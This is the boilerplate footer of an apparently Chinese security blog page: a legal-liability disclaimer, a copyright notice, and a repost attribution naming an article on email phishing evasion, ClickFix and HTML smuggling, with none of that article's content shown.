任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:IceByte-Sec IceByte IceByte《邮件钓鱼免杀完全指南(2026 实战版)五、ClickFix 与 HTML Smuggling》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论